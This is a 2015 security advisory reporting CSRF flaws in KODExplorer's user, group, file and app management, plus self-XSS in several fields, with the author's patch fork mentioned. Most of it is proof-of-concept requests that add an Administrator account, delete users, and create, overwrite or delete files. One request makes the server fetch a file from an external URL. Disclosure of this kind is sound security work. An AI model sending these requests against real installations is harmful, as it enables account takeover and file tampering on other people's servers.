================================================================================ # KODExplorer web file manager - Cross Site Request Foreign ================================================================================ # Vendor Homepage: https://github.com/kalcaddle/KODExplorer/ - http://kalcaddle.com/ # Date: 30-Dec-2015 # Software Link: https://github.com/kalcaddle/KODExplorer/archive/master.zip # Exploit Author : Ben Khlifa Fahmi - Xtnr3v0lt ================================================================================ Description : there is no CSRF token protection on the user management area , an attacker can use the POC bellow to add , edit , remove any user by sending a link to logged in user with User Management privilege # PoC : Add user : http://localhost/index.php?member/add&name=[username]&password=[password]&role=Administrator Delete User: http://localhost/index.php?member/del&name=[username] Edit User: http://localhost/index.php?member/edit&name=[username]&name_to=[new_username]&role_to=[new_group]&password_to=[new_password] Patch released : Check my git https://github.com/benkhlifafahmi/KODExplorer ================================================================================ # Discovered By : Ben Khlifa Fahmi(https://www.benkhlifa.com/) from Tunisian Whitehats Security (@WhitehatsTN) ================================================================================ Special Thanks to both the community Tunisian Whitehats Security and Arab Oracle Users Group Additional CSRF Issues: I - CSRF Group Managment : Description : an attacker can add , remove or edit any User Group by sending an exploit link to a loggeed in admin. Vulnerable Controller : group.class.php Proof of Concept : #Add Group : POST Request action url : http://localhost/index.php?group/add&role=[group name]&name=[group description]&ext_not_allow=[allowed extension(ex: php|jsp|etc..] POSTDATA=explorer%3Amkfile=1&app%3Auser_app=1&explorer%3Amkdir=1&explorer%3ApathRname=1&explorer%3ApathDelete=1&explorer%3ApathInfo=1&explorer%3ApathInfoMuti=1&explorer%3ApathCopy=1&explorer%3ApathCute=1&explorer%3ApathCuteDrag=1&explorer%3Aclipboard=1&explorer%3ApathPast=1&explorer%3Azip=1&explorer%3Aunzip=1&explorer%3Asearch=1&editor%3AfileSave=1&explorer%3AfileUpload=1&explorer%3AserverDownload=1&explorer%3AfileDownload=1&userShare%3Aset=1&userShare%3Adel=1&user%3AchangePassword=1&setting%3Aset=1&fav%3Aedit=1&fav%3Aadd=1&fav%3Adel=1&member%3Aget=1&member%3Aadd=1&member%3Aedit=1&member%3Adel=1&group%3Aget=1&group%3Aadd=1&group%3Aedit=1&group%3Adel=1 #Edit Group : POST Request action url : http://localhost/index.php?group/add&role_old=[group name to edit]&name=[group description]&ext_not_allow=[allowed extension(ex: php|jsp|etc..] POSTDATA=explorer%3Amkfile=1&app%3Auser_app=1&explorer%3Amkdir=1&explorer%3ApathRname=1&explorer%3ApathDelete=1&explorer%3ApathInfo=1&explorer%3ApathInfoMuti=1&explorer%3ApathCopy=1&explorer%3ApathCute=1&explorer%3ApathCuteDrag=1&explorer%3Aclipboard=1&explorer%3ApathPast=1&explorer%3Azip=1&explorer%3Aunzip=1&explorer%3Asearch=1&editor%3AfileSave=1&explorer%3AfileUpload=1&explorer%3AserverDownload=1&explorer%3AfileDownload=1&userShare%3Aset=1&userShare%3Adel=1&user%3AchangePassword=1&setting%3Aset=1&fav%3Aedit=1&fav%3Aadd=1&fav%3Adel=1&member%3Aget=1&member%3Aadd=1&member%3Aedit=1&member%3Adel=1&group%3Aget=1&group%3Aadd=1&group%3Aedit=1&group%3Adel=1 #Delete Group : http://localhost/index.php?group/del&role=[group_name] ------------------------------------------------------------------------ II - CSRF on File Managment : Description : an attacker can add , upload file from external site , delete or edit file/path by sending a link to a logged in administrator. Vulnerable Controller : explorer.class.php Proof of Concept : #Add a file(1) : http://localhost/index.php?explorer/mkfile&path=[file name] #Delete file : POST Request action URL: http://localhost/index.php?explorer/pathDelete post data : list[[{"type":"file","path":"[path to file you want to remove]"}]] #Upload File(2): http://localhost/index.php?explorer/serverDownload&type=download&save_path=[path where to save file]&url=[url to external file]&uuid=[any uuid you want] #Edit file : POST Request action URL:POST http://localhost/index.php?editor/fileSave Post Data: path[path to file]\ncharset[utf-8]\nfilestr[[file content]] ------------------------------------------------------------------------ III - CSRF on App Managment : Description : an attacker can add, edit , remove any app by sending a link to a logged in admin. Vulnerable Controller : app.class.php Proof of Concept : #Add app : POST request action url : http://localhost/index.php?app/add&name=a POST DATA : data[%257B%2522type%2522%253A%2522url%2522%252C%2522content%2522%253A%2522[url of your app]%2522%252C%2522group%2522%253A%2522others%2522%252C%2522name%2522%253A%2522[you app name]%2522%252C%2522desc%2522%253A%2522[you app description]%2522%252C%2522icon%2522%253A%2522oexe.png%2522%252C%2522width%2522%253A%2522800%2522%252C%2522height%2522%253A%2522600%2522%252C%2522simple%2522%253A0%252C%2522resize%2522%253A1%257D] #Delete App : http://localhost/index.php?app/del&name=[your app] ------------------------------------------------------------------------- IV - Multiple Self XSS: Description : the KODExplorer suffer from many Self XSS, vulnerable module to XSS are , Username , App Name , App Source , Folder Name , File Name , Group Name. to execute it just inject html code as one of the vulnerable module above. ------------------------------------------------------------------------- V - Solution : I have released a fix on my github account you can clone it or just wait for a patch to be released on the next version as i have reported all possible vulnerability , ------------------------------------------------------------------------- Thanks : I want to say "thank you" for: - Tunisian Whitehats Security (@WhitehatsTN) http://www.whitehats.tn - Arab Oracle Users Group (@araboug) http://www.araboug.org - @RaisoMos , @tws_bayrem , @tws_charfeddine , @achref_vip , @tws_amine. Special Greetz to my fiancy.